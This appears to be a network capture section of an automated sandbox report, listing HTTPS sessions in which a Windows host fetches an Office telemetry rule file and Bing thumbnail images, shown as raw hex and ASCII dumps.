2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 9c 67 bf f9 34 03 9c 0f 51 c6 0f 51 f4 a6 92 33 c1 ef d7 1d 29 72 48 c9 03 91 db fc f3 52 31 4f cc 32 1b b7 40 3a d1 9c f0 71 93 ef d3 ff 00 ad 4d 27 3e dc 73 ef 4a 41 db c3 0f f3 de 82 52 14 e0 8e 0f 7e d4 99 00 60 95 eb d0 50 49 0d d0 e0 9e dd a8 c9 3c 60 67 1f e7 e8 68 28 42 7e 6c 93 f4 e3 a5 1c fd d3 9e 9d 87 4f c2 83 90 03 67 3c fa 75 ff 00 eb 53 78 e9 f5 e4 50 30 3d 4e 31 90 07 f9 fa d0 46 39 c8 e9 df b5 0c 7e 5c 1c 1e fc 9e b4 dc f1 90 79 cf 71 40 03 63 a9 cf 5f 4a 09 39 e4 95 e3 ad 04 0d 84 e7 bf 1f 97 ff 00 5e 9a 4f 1c af 7e 77 1f f3 9a 00 06 71 8c 74 1d a8 cf 00 82 3d 03 03 d0 fd 28 24 e7 90 dc 9e c6 9a 06 46 08 db ce 3e b4 00 ec 12 72 c3 e9 83 d3 fc fa d2 02 4f 4c f4 e8 0f f9 e6 99 92 08 c8 c7 d6 8c e1 b2 38 c7 5a 04 39 9b 0c 00 23 e5 eb cf f9 Data Ascii: g4QQ3)rHR1O2@:qM'>sJAR~`PI<`gh(B~lOg<uSxP0=N1F9~\yq@c_J9^O~wqt=($F>rOL8Z9#
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 7e 24 b0 b0 d6 0e 9d 2c ac ca 0e 32 06 57 f0 f4 35 ea 3a 96 b1 a6 3f 85 54 cc 18 49 b4 04 c7 f1 7a 7e 15 e0 7f 0f 74 a9 af 2e 3c e6 59 1a 55 3d 97 76 3f 2a ee 94 5e 5c 6e 81 2d 9e 40 83 83 b4 e3 1f 87 e3 f8 d7 8b f5 4a 95 2d 24 b6 3a 7f d9 55 66 ea cd 27 da e8 d6 f0 8f 8d 59 3c 54 b6 09 85 b6 fb b2 65 ba 67 bf d3 a5 7a bb 91 e5 86 56 18 60 3a 76 ff 00 39 af 9f 12 ce 7d 3b 5a 17 09 62 df 2f df 03 8c fd 3f cf 5a f5 df 02 6b a2 ee c9 6d d8 16 c2 e4 38 1d 3d 88 ed 5e f6 59 37 49 fb 16 b7 3e 4f 8b 69 51 a9 5d 57 a3 b5 ba 1d 21 21 8f 07 9f 53 4a a4 90 36 8f a7 bd 31 4e 78 2a bf 87 43 47 18 39 27 23 9c 8f f3 fa 57 ba 7c 50 aa 40 e0 0e dd b8 a1 b0 07 27 a9 f4 eb 47 e3 ce 3a 93 40 cf 52 06 df 7e f4 80 71 23 38 20 d1 c0 ea 78 cf 42 7a d3 33 91 f7 48 f7 cf 4f 6a 5c Data Ascii: ~$,2W5:?TIz~t.<YU=v?^\n-@J-$:Uf'Y<TegzV`:v9};Zb/?Zkm8=^Y7I>OiQ]W!!SJ61NxCG9'#W\|P@'G:@R~q#8 xBz3HOj\
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: ef 5a d9 49 10 14 6c ed e3 69 03 8f 6f 7e b5 2e 9c d3 d8 23 38 b5 b9 23 b3 1b 79 37 11 b7 18 ce 79 35 63 e1 64 19 be 6d c7 70 69 0e dc 1e 9c d6 6c d2 a4 71 b3 0e 06 39 20 72 3f c4 54 bf 08 b5 22 75 59 e0 90 8d c2 4f 90 af 71 d7 fa 9f a5 3b 3b 3b 9f 5b c2 73 b6 26 76 7d 0e e7 e2 74 42 1b 78 08 cf 27 27 1d b1 5c 6a b0 2d 90 09 e0 67 8f f3 93 ef 5d 6f c4 2b 93 71 04 04 6d 6d a0 63 1d bf c6 b9 64 8d 7c cc 82 73 8f ef 72 3f c6 8a 75 1d b5 3c ac f5 37 8d 95 fc 88 db f7 65 4a 13 fe d6 4f f9 c8 ad 7f 0d de 69 fb bc 9b e8 55 95 8f ca e0 60 8f fe b7 35 42 44 32 0e 7d 41 04 0f f3 8a 84 44 77 2b 29 0b cf 51 eb e9 8f 4f 7a e9 a3 89 95 39 5d 1e 15 4a 4a 71 b3 3b cb bd 0a d1 ec de 58 1c 2a ed ed db 1c f1 e9 f5 ae c7 c1 92 86 f0 f4 c8 ed b9 95 70 4e 3d 07 e8 2b cb 74 dd Data Ascii: ZIlio~.#8#y7y5cdmpilq9 r?T"uYOq;;;[s&v}tBx''\j-g]o+qmmcd\|sr?u<7eJOiU`5BD2}ADw+)QOz9]JJq;X*pN=+t
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: af 9f 70 0c 01 c0 e9 9f cb fc 68 04 fa 7d 07 a7 ff 00 5f 34 6e ce 32 01 c9 e9 db ff 00 d5 4d ea 78 3f 89 3d 6b b2 e7 99 61 ed c7 00 f4 1d 29 72 54 f3 8f c3 fc f3 4d 76 c9 e4 e0 e7 8e 78 14 8e c4 73 fd de b8 ff 00 3c f5 a5 71 8e 52 15 b6 8e b8 ec 71 48 a4 13 86 e4 7d 7a e6 9a c4 e3 20 9f cb 93 fe 14 64 8f 90 1f cf fa ff 00 85 2b 8e c3 89 18 c8 18 19 a6 e7 38 04 81 cf 3f e7 d6 90 8c 1e 40 fc 7b d1 93 9c f1 fe 1f e2 79 a2 e1 61 41 27 3d 7a 64 e3 fc f3 f4 a1 71 ee 1b 1d 8f 4a 6f f1 60 1c 9c 71 8f f3 d2 9c 31 9d bc f4 ff 00 3f 5e b4 99 56 00 48 55 da 78 34 64 32 e0 9e 00 e3 8a 4c 1d f8 20 f2 3a 8e 71 fe 7d 29 38 ec 4f 4f 5a 45 24 2e e2 c3 38 e7 d0 f7 a4 ce 08 c0 ed ce 3f cf 1f 5a 1b 05 b2 01 66 07 9c 7f 5a 46 e3 b0 3e 98 a0 62 f2 78 db cf f3 a3 23 38 e7 d8 53 Data Ascii: ph}_4n2Mx?=ka)rTMvxs<qRqH}z d+8?@{yaA'=zdqJo`q1?^VHUx4d2L :q})8OOZE$.8?ZfZF>bx#8S
2024-12-06 23:15:44 UTC	16067	IN	Data Raw: 8c 7a 9e 98 ff 00 3d 29 c1 81 e8 36 ee f5 ef fe 14 c0 06 49 20 96 cf 18 3d 3e b4 f5 6c 71 93 c8 fd 3f c6 80 00 46 de 3a 67 a8 ef 4e 23 23 0c 01 00 74 ce 73 4d 00 81 8c e3 8e 87 bd 00 03 c1 3c 91 9e 45 00 3c 1c 60 73 c7 b7 4a 43 8d fd 4a a8 fd 68 2c 07 04 b0 f4 27 b5 29 c3 73 80 79 e7 3d 8f a1 fc a8 01 46 47 23 9e fc 0e 9f e1 4a b8 3c b6 3f 2f f3 9a 4c f1 9c 8c e6 83 9c e3 1b 86 7b d0 2b 0a 7d 79 1f 51 fa 7b 0f 7a 57 20 1c 91 b7 db 3d 68 5c 06 c0 3b b8 ed fc a9 38 38 20 fe 5e 94 0b 51 70 73 90 46 3d 43 75 ff 00 eb 52 81 9d c4 8c f3 d7 d2 93 20 00 48 19 f6 ff 00 3c 0a 76 09 da ad f8 d0 50 31 20 e7 3f 31 3f 95 56 d4 e7 4b 75 2c ff 00 37 1d bb 7f 81 a9 ce 4e 09 c7 a1 fa d4 77 51 24 f1 b4 6e b9 5c fa d3 b8 2b 5f 53 8d d6 75 e5 07 64 0a cd ce 08 c6 30 7f af 5f Data Ascii: z=)6I =>lq?F:gN##tsM<E<`sJCJh,')sy=FG#J<?/L{+}yQ{zW =h\;88 ^QpsF=CuR H<vP1 ?1?VKu,7NwQ$n\+_Sud0_
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: bf e1 eb 5b 17 5b 22 b6 f9 1d 97 6f 51 fd de 9d 7d 05 77 d3 95 d6 a7 93 3c 2c 13 b4 51 ce fc 42 d4 6d 9a d9 da 48 91 a6 2b 85 75 6f 98 60 fa 9e a2 bc ce d3 c4 09 26 a2 c8 91 38 4c 9f 98 f1 8c f7 3f e3 ee 2b a2 f8 89 78 e6 29 e2 12 0f 97 24 03 db a8 fc b9 fa 8a f3 dd 0e 2d da 93 95 3d 76 e3 6a e3 03 fc 3f 3a e2 c4 51 a7 5e 5e f2 34 f6 4a 9c 34 3d 2a c2 ed e4 45 2c fc 10 3e 62 32 48 f7 f5 3e fd 8d 6a 5b ca 1a 38 c9 93 6f 7f 90 93 9c fb fa fb f7 a3 c3 1a 39 9e c0 3d a9 50 ea 4f c8 4f de 07 ba fb f1 53 4b 6b 71 6d 2b fc 8f 1b 1f bc 8c 9c 8f 7f 7e f5 f3 79 86 57 2a 4b 9a da 11 4a aa 96 84 91 99 40 ca 17 c6 38 c0 ca 0f fe bf b5 39 27 76 5e 43 7c c7 04 60 ee 27 df d7 af e5 50 da cc 83 87 8d d7 69 e3 23 a7 f8 7f 2a b0 a5 0a 01 9e c3 8f a7 5e 9d 0f 4a f9 da 94 9a Data Ascii: [["oQ}w<,QBmH+uo`&8L?+x)$-=vj?:Q^^4J4=E,>b2H>j[8o9=POOSKkqm+~yWKJ@89'v^C\|`'Pi#*^J
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 2e ee dc 76 1f d0 55 8b 68 3e 5c 80 bf 31 e4 7a 7b fb 7d 2a 5e 0a 97 62 7e b1 2e e6 6d a5 80 0b c0 18 c7 6a d1 86 c6 32 a5 59 57 df 3f e7 af 7c d5 9c a2 28 dc 38 ce 09 c7 42 7f a5 56 9e f0 42 f8 6c 90 46 18 fa ff 00 80 f7 aa 85 08 53 d9 0f 9a 53 2b 6a 36 f1 c2 58 1d df 30 f5 eb fe 02 b2 65 9f ca 6c c6 5b 76 3b 76 fa d5 bd 52 f3 7a 30 0b c3 0e 32 7a ff 00 9c 56 51 01 e6 c2 93 c9 fb a4 ff 00 9e 6b 5e 54 69 1b a2 f2 6a b2 c4 aa ac 0b 71 e9 f9 63 d0 73 44 da ac ee 83 7e 55 be bc 0f f3 c5 47 05 90 75 ce 37 7d 0f 4f c7 d2 a3 92 d1 91 c0 da 73 9e 80 75 ff 00 38 a3 96 25 11 34 b2 e7 ef 30 dd d3 df 3f e7 b5 30 c8 5f 92 e1 b9 e0 13 da 92 40 03 60 f5 fe 12 47 eb 40 27 6f 2a 1b 9e 78 fe 5e b5 23 1d 14 d3 06 dd bd bd 8e ea b7 6d 7e c9 83 d0 e7 a8 3d 6a 8f 41 9c 86 f7 Data Ascii: .vUh>\1z{}^b~.mj2YW?\|(8BVBlFSS+j6X0el[v;vRz02zVQk^TijqcsD~UGu7}Osu8%40?0_@`G@'ox^#m~=jA

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:43 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231544Z-r1cf579d778t5c2lhC1EWRce3w0000000190000000009fqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49816	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:44 UTC	346	OUT	GET /th?id=OADD2.10239360298760_1IGUAAO0S19XMZR4M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:44 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 528761 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F556B75E8854482884BA6F2A44DF065C Ref B: EWR30EDGE0115 Ref C: 2024-12-06T23:15:44Z Date: Fri, 06 Dec 2024 23:15:44 GMT Connection: close
2024-12-06 23:15:44 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 01 28 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 04 38 00 00 01 01 00 03 00 00 00 01 07 80 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d4 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 00 00 00 08 00 08 00 08 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 34 20 32 32 Data Ascii: JFIFHH(ExifMM*8(12i``Adobe Photoshop 24.4 (Windows)2023:05:14 22
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 23 fc ab 73 8f e2 5a f4 89 f4 d9 17 fd 64 75 f5 d1 74 e6 93 5b 1f 9b ce 52 8c 9c 65 a3 46 3a a4 4b 4c 53 b6 b5 e4 b2 fd dd 43 f6 3d b1 fc d1 d5 34 25 51 94 58 ee 8e a1 90 6d fb b5 7e 4b 7f ee fd ea ac d1 b2 fd ea 97 1d 0b 8d 5d 4a ac 33 48 b1 d5 89 23 fe 2a 14 6e ac 5c 4e c8 d5 b2 19 0c 7f bc f9 6a da c1 fc 54 42 60 8a 3f f6 aa 68 6e 22 67 4a ae 46 42 c4 21 6c 76 fd e9 a3 ab bf b8 6f f9 67 56 1a 3b 67 82 a8 5c 22 c5 f7 7e 5a cf 91 dc d5 57 f3 25 92 08 bc cf 96 ab cd 6c b4 2c e9 e6 7c d5 7a d4 ee fb b5 0e 9d 8a 86 29 5b 73 39 6d 59 6a 7b 78 b6 d6 d5 9d aa bf de ab df d8 d0 79 7b bc cf 9a b3 70 66 bf 5a 46 0c 69 56 21 8d 9a ae 35 83 27 de a9 6d e2 d9 57 18 e8 73 4e bd c8 23 b3 df 56 23 b1 7f f9 e7 ba ac 47 57 a3 93 64 7b a9 b5 63 2f 6c 64 49 61 2f fc f3 a4 Data Ascii: #sZdut[ReF:KLSC=4%QXm~K]J3H#*n\NjTB`?hn"gJFB!lvogV;g\"~ZW%l,\|z)[s9mYj{xy{pfZFiV!5'mWsN#V#GWd{c/ldIa/
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: dc 93 dc b5 f3 ac d0 7c b2 fd fd 95 db e9 fe 1a 64 d1 b7 5b cf f7 be fa 4c 9f 71 ab 95 d5 2d 35 08 ae 9d 7c b8 d6 e1 7e 5f 9f ee d4 61 2a 3f 87 a1 38 ca 76 69 fe 44 7a 0b fd 9f 55 78 e3 fd d6 ef 9b e7 f6 ad 69 04 73 c8 97 1f 75 ad d1 59 eb 94 d3 6e 75 0d 47 52 78 64 b4 fd e4 5f 2e f4 fb af 5d 8f 87 ec fc db 5b e6 68 e4 da b6 ff 00 3f fd f5 5d f2 9d 99 cb 47 de 8b ec 2f 82 47 f6 8d f4 d6 ab 77 e5 49 2a 33 43 fd dd bf dd ae 73 49 b6 d4 3c 33 e2 ab bb 15 f9 57 7f 9b e4 bd 37 4d bf 6d 1b c4 d6 97 5e 66 e5 57 f9 ff 00 1a f4 0f 88 10 41 7f f6 7d 4a df e6 91 a1 fe 0a e2 c4 49 d3 93 8b d9 9d f8 5a 70 ab 18 d4 5f 12 34 96 f1 75 6f 01 dc 34 7e 5f 98 d6 ec b3 25 79 4f d9 d5 3f 76 df 76 b7 34 fb d9 ed e0 b8 b5 f3 f6 ab 7c c8 9f ed 56 2d e4 df bc f9 7e f3 57 3d 28 b8 Data Ascii: \|d[Lq-5\|~_a?8viDzUxisuYnuGRxd_.][h?]G/GwI3CsI<3W7Mm^fWA}JIZp_4uo4~_%yO?vv4\|V-~W=(
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 12 43 3c 8d fe b2 3d 95 61 46 ea 86 3d df c5 f3 54 8a f5 2d 16 87 6d f6 a7 a8 a4 df ba 91 4d 45 87 ca 4b f7 68 a8 d5 e8 92 46 58 e9 24 50 ef 99 7e 6a 46 b8 54 fb d5 04 33 cb e6 7c d5 27 98 df f3 cd 29 72 f7 00 5b 9d f2 7e ee 3a 95 a4 64 a6 47 2a f9 9b 9a 3d b5 3c 6f 13 c7 8a 96 51 13 4a cd f7 aa ad c5 9d ac ff 00 eb 12 3f 9a af b4 48 d4 d5 81 56 4a 71 95 90 68 73 ba b7 87 f4 ab a8 f6 b7 ee bf dc 4a c4 d4 3c 0f 68 bf bc b5 bb 93 fe 07 5d fa c4 bf f4 cd a9 ed 6f 1c b1 fd c8 fe 6a b5 59 a2 92 3c a5 bc 29 b7 e5 f3 f7 b5 51 b8 f0 c5 f2 c9 b6 df e6 af 60 fe c7 b4 6f 99 a3 a7 7f 65 db 37 dd f9 5a 9f d6 52 2e c7 8a cd a1 6a a9 1e df b2 6e 6a a1 75 6f 7f 6b f7 ad e4 ff 00 6f e4 af 6c be f0 fb dc 49 ff 00 1f f2 2a ff 00 b9 55 26 f0 92 3c 7f f1 f7 23 56 8b 15 02 5c Data Ascii: C<=aF=T-mMEKhFX$P~jFT3\|')r[~:dG=<oQJ?HVJqhsJ<h]ojY<)Q`oe7ZR.jnjuokolIU&<#V\
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 9a 32 2f 09 c7 73 a6 df 4d 67 e6 7d a2 cf fd 6c 30 bf de 4c af 6a d9 ba 93 ed 09 b6 df e7 5f e0 df f7 6b 16 c6 39 5e c7 e5 92 48 ae 22 4d d0 ff 00 b7 fe cd 49 a2 de 44 f6 ac de 64 9b ae 3f 8d 3e f7 fc 09 6b 1b cb 75 b1 d0 e8 dd e9 ba 27 87 48 9e 79 dd 56 3f 95 53 f8 eb 06 e2 2b 9d 27 52 9b ed 11 f9 b6 f2 fc bb df e6 df fe cb 56 da ea 92 d9 cf e4 dc 3c 6d 62 df 2b bf fc f1 cf 7a 87 5a d2 e4 9e c7 6d ac fe 56 ef 99 1d d3 72 bd 2f 68 ad 61 45 b7 2f 78 77 86 5d ae ac 61 b7 87 fd 62 bf cf 0b fc de 74 7f 5f ef 56 c4 29 3a ff 00 a2 c9 1e e8 d9 fe 47 fe 2a f3 ef 0b dc 5c d9 78 82 1b 7b a9 3e 55 9b e7 d9 fc 1f fd 8d 7a 6f 88 12 db 51 b5 85 7e d7 b6 48 be e5 c2 7f 7a bd 1c 1d 6f e6 67 16 3a 93 d1 c7 66 63 78 ab c3 6d 75 62 f2 5b c9 ba e2 24 f9 37 fc bf 85 61 f8 6e Data Ascii: 2/sMg}l0Lj_k9^H"MIDd?>ku'HyV?S+'RV<mb+zZmVr/haE/xw]abt_V):G*\x{>UzoQ~Hzog:fcxmub[$7an
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: e5 ac bb 7b 48 a7 f9 99 36 b2 7d fa f4 3d 4b 5a 8d e4 fe cf be b7 8d 77 26 e7 47 ac db ef 0d d8 dc 40 f7 9a 5c 9b 5b 67 dc f3 3e 5a ed a7 8a b2 51 9a b1 cb 2a 4b 59 41 dc c0 92 28 bf b2 bf b3 fc c9 15 6e 3e 64 ff 00 61 ab 95 8f 4a b9 82 f9 e3 f3 3f 79 bf e4 ae aa 14 9e de eb cb 9b cc 56 5f 9b e7 ab bf 65 82 ea d7 ce 8f fd 76 ff 00 e3 ae 95 57 97 62 6d 1a 8d 5f 46 71 13 1b 9b 5d f2 47 1e d9 3f 8f 65 5d d3 75 bf 3f 4d f2 e6 fb df c7 b3 ef 25 5e be d3 2e 65 b8 9a 4f b2 48 b1 ec fe 3f ba 8d 58 77 56 6b 04 9f f3 ca 6f f9 e2 ff 00 77 f3 ae bf 72 a4 6e b7 39 79 1c 27 69 6c 69 da fe ea f9 1a 3f 97 6f df 4f f6 6b 7e ea 2d 37 52 b1 fd f7 ca ca 9b bc e4 f9 ab 0f fb 31 ef 3c e9 a3 93 e6 54 fb e9 57 34 1b d6 b2 8f cb f2 e3 f9 be 5d f5 84 d7 54 f5 3a e9 c2 de 8c c6 bc Data Ascii: {H6}=KZw&G@\[g>ZQ*KYA(n>daJ?yV_evWbm_Fq]G?e]u?M%^.eOH?XwVkowrn9y'ili?oOk~-7R1<TW4]T:
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 4b e3 77 5d d1 e9 3f da 13 a6 f8 e6 fb bf c1 55 6e 2e 37 7c de 67 cd bf ef ff 00 72 b8 9d 4b c7 b2 de 69 4f 1d 9c 1e 55 c7 f7 d3 e6 5a d2 f0 7e a9 f6 fd 2b 6d d4 91 ad c6 ff 00 91 13 ef 6e ac a5 4d a3 78 e3 a1 39 59 1e a5 e1 bb dc c9 63 25 e4 9b 95 5f ca 4f c5 6a fc 93 c0 f7 4f 67 0c f1 f9 6a fb 93 fd ea e1 7c 37 7f 2c 5a af 93 24 ff 00 b9 6f 99 d3 e9 5a 7b fc cf 3b 77 cb 26 cd c8 ff 00 df c5 66 b4 3a 39 94 99 9f e3 ef 00 69 b7 7a a2 ea 70 ff 00 a0 6a 1b f7 45 2d bf ca b3 37 fb 55 97 1c 6a 90 7d 9e f2 ed 3c c9 77 2a 7f 0c b5 d0 6a 1a a5 f2 5a c5 e6 47 e6 ae ff 00 f5 db ff 00 86 b9 df 88 1a 44 1e 27 92 d7 51 87 cc b2 d4 2c 5b 97 4a eb a7 2b a5 73 83 10 94 6e e3 1d 59 76 1f 0e 7d 96 c5 ee 16 7f 35 7e f4 df de db ea 29 ec 22 96 35 92 3f 9b fd cf ee d6 b7 85 Data Ascii: Kw]?Un.7\|grKiOUZ~+mnMx9Yc%_OjOgj\|7,Z$oZ{;w&f:9izpjE-7Uj}<w*jZGD'Q,[J+snYv}5~)"5?
2024-12-06 23:15:44 UTC	16067	IN	Data Raw: 69 29 2f d9 dd 56 3f bc ff 00 72 af ec b3 82 d3 76 a5 27 fb 49 0d 56 5f 36 ce 34 8e d6 4d ca a9 f7 ff 00 8a aa fd 8e e6 7b 84 db 1e e5 6f bf 53 08 dd 84 f5 45 88 65 df 22 7e ef 6a b6 e6 48 6b 73 4d 5d d0 23 35 66 c3 6f 04 12 6d 92 4d cc b5 ab 6f 72 be 5a 33 7d d5 fe e5 54 bb 91 b1 d7 e8 a9 e5 47 0b 49 fd ca d0 be db f6 17 dd f3 ee ac fb 19 ff 00 d0 61 6f e2 ab 50 9f 36 3d a7 e6 5a da 36 b7 2a 39 67 a9 87 ac 5b c4 b0 37 ee ff 00 77 f7 b6 25 66 e9 e1 92 68 9a 18 f7 47 b1 be 7a e8 f5 e4 5f 2d 19 7e eb 7c af f8 d7 3d a6 fc df bb fb bb 5f 6f fc 06 b9 ea 47 96 56 2e 32 bc 4c 3f 17 32 b4 fe 74 7e 66 e8 9d 55 ff 00 1a bd a6 cf 2d ee 87 0f 98 9e 6b 2e ed fb 3f ba 2b 3f e2 60 96 2b ad d6 3f 33 6c db 32 27 f1 ad 3b c0 7a fc 57 1a 1f d8 63 f9 26 b7 f9 5f 7f de 7f 7a Data Ascii: i)/V?rv'IV_64M{oSEe"~jHksM]#5fomMorZ3}TGIaoP6=Z6*9g[7w%fhGz_-~\|=_oGV.2L?2t~fU-k.?+?`+?3l2';zWc&_z
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 2c 56 ab 1b 6a 5b 95 7f be 9b a8 71 e5 f8 4e cc 2b fa c5 3f de 3f b8 c3 87 44 f1 2c bb a1 5b 49 e2 85 be 57 74 ad 1f 08 e8 b3 d8 6b 0f 25 d4 9f b9 89 3e 7d 95 bf 71 ab db 48 9f f2 12 dd 26 cd a9 fc 35 1e 8f 05 f3 e9 53 2d f7 96 db b7 7d f7 a8 94 9b d0 eb a3 46 95 39 39 47 56 93 0f 0e f8 8e 27 d4 ae 2d 6e 3e 55 89 3e 47 ff 00 66 ba dd 15 e7 b6 d1 e6 b5 ba f9 63 fe 07 fe fa 9a f1 78 6f 8e 99 e2 65 99 64 dd 1a cb b5 eb dc 61 b8 82 eb 4d 86 66 f9 55 51 76 3f f0 ed ae 1c 45 37 16 bc f5 3b b0 18 85 5a 93 6d ea b4 66 2d f5 cf d8 a6 dd e7 c9 f2 fc db 3f bf 5a 5a 2a 32 49 f6 88 d3 6f 9b f3 6c 7a c6 f1 54 3e 47 93 71 0f f0 bf dc fa d6 ff 00 82 ee da e3 c3 f0 b5 c7 c9 34 49 5c b3 5a 1d 54 6c e6 d3 21 90 ac 13 f9 91 fc d0 bd 69 d8 df b5 be c6 5f 99 7e f2 25 2d e5 84 Data Ascii: ,Vj[qN+??D,[IWtk%>}qH&5S-}F99GV'-n>U>GfcxoedaMfUQv?E7;Zmf-?ZZ*2IolzT>Gq4I\ZTl!i_~%-
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: e5 92 d4 ea 8d 3e 68 91 ea 41 ae 2e b7 4d fb af ee 54 da 7c b1 3b a2 c9 e5 b6 d5 db bf fb f4 cd 42 f7 ed 97 5f 63 8e d3 e6 54 dd bf ee d6 3e a5 26 c9 2d d5 64 db e6 fc bf ee 57 5d 3a 97 39 65 1b 3d 0d f9 a0 81 64 f9 7e 65 fb a8 e9 59 7a e5 b5 d3 c9 b6 de ee 3f 2f 67 dc 7f 9a 9c d7 90 45 1a 47 34 fb bc a7 56 a7 5b dd db 4f bf 6f ca df ee 56 ca 47 3c a3 b9 e6 df 11 3c 13 f6 fd fa a6 9f 04 71 5e 27 fa e8 53 ee cd ff 00 d9 57 9c 59 da 5c ad d7 98 d1 ed 65 dc bf ee 57 d1 8d 3c 0b 03 ee f2 d9 97 fb 9f 7a b9 3f 16 78 5f 4f d7 24 fb 65 9f 99 67 79 f7 66 ff 00 6e ba 2e 70 54 c3 de 57 89 e5 f6 f0 fe f3 f7 7f df ad 0b 54 6f 31 e6 f3 3e 5f bb 4d d6 b4 bb cd 16 49 a1 9b cc dd fc 0e 9f dd aa 76 6f e6 fe ee 68 e4 56 6f ee 25 23 1b 58 d6 9a e3 c8 b1 6d d1 c6 ad fc 15 62 Data Ascii: >hA.MT\|;B_cT>&-dW]:9e=d~eYz?/gEG4V[OoVG<<q^'SWY\eW<z?x_O$egyfn.pTWTo1>_MIvohVo%#Xmb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49817	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
